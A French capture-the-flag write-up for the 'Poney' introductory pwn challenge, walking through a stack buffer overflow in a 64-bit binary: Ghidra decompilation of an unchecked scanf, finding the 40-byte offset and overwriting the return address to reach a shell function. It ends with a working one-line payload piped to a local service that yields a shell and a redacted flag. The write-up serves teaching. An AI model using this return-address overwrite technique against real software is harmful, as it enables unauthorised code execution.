Solution de timruff pour Poney

intro pwn x86/x64

22 mars 2026

Table des matières

Comportement

On va voir le comportement du fichier poney.

file poney 
poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped
chmod +x poney
./poney
Give me the correct input, and I will give you a shell:
>>> ceci est un test
./poney
Give me the correct input, and I will give you a shell:
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Erreur de segmentation

On regarde avec file sur quel binaire on se trouve.
On remarque que c’est fichier ELF en 64bit pour architecture x86-64 pour GNU/Linux
Je rends le binaire exécutable avec chmod +x.
On le teste :

  1. On remarque qui si on donne la bonne entrée il nous dit qu’il nous donne un shell.
  2. Avec une petite phrase il se passe rien.
  3. Avec une longue phrase nous avons un débordement de tampon.

Ghidra

On va analyser le binaire avec Ghidra.

undefined8 main(void)

{
  undefined1 local_28 [32];
  
  puts("Give me the correct input, and I will give you a shell:");
  printf(">>> ");
  fflush(stdout);
  __isoc99_scanf(&DAT_004007b5,local_28);
  return 0;
}

La première fonction que l’on analyse est main. On voit qu’elle possède une variable : undefined1 local_28 [32]; qui est un tableau de 32 octets.
Et une saisie qui un scanf normalisé isoc99 : __isoc99_scanf(&DAT_004007b5,local_28);
Le problème ici c’est qu’il a aucune vérification de la longueur de la chaîne saisie donc on peut faire un débordement de tampon si on atteint une valeur de plus 32 caractère.

python3 -c 'print("A"*32)' | ./poney Give me the correct input, and I will give you a shell:
>>>

On teste avec avec 32 caractères,il se passe rien, pourquoi ?
C’est parce qu’en fait on écrase RBP qui est un pointeur de base qui sert à délimiter les variables locales et les variables passés en paramètres, il se peut que ça plante mais pas tout le temps.
Donc pour il faut aller plus loin, de combien ?
On a vu que l’on était sur une architecture 64 bit, donc l’RBP doit faire 64 bit qui font 64/8 = 8 octets. Normalement si que j’écris à partie 40 ème octets (caractères), ça devrait planter.

python3 -c 'print("A"*40)' | ./poney 
Give me the correct input, and I will give you a shell:
>>> Erreur de segmentation

Ça plante quand on commence à écrire sur l’adresse de retour.
Regardons Ghidra.
Ghidra On trouve une fonction shell qui permet d’exécuter un shell.
On vois que la fonction shell commence à l’adresse : 0x0000000000400676, car on est en 64 bit.
Donc il faudra remplacer l’adresse de retour qui commence au 40 ème caractères par celle du shell, il faut faire attention à l’architecture ici on est sur du intel x86-64 bit donc en little endian, il faut inverser l’ordre de l’adresse.

$ python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00\x00\x00\x00")' | nc localhost 4000
Give me the correct input, and I will give you a shell:
>>> dl
ls
flag.txt
poney
cat flag.txt
FCSC{XXX}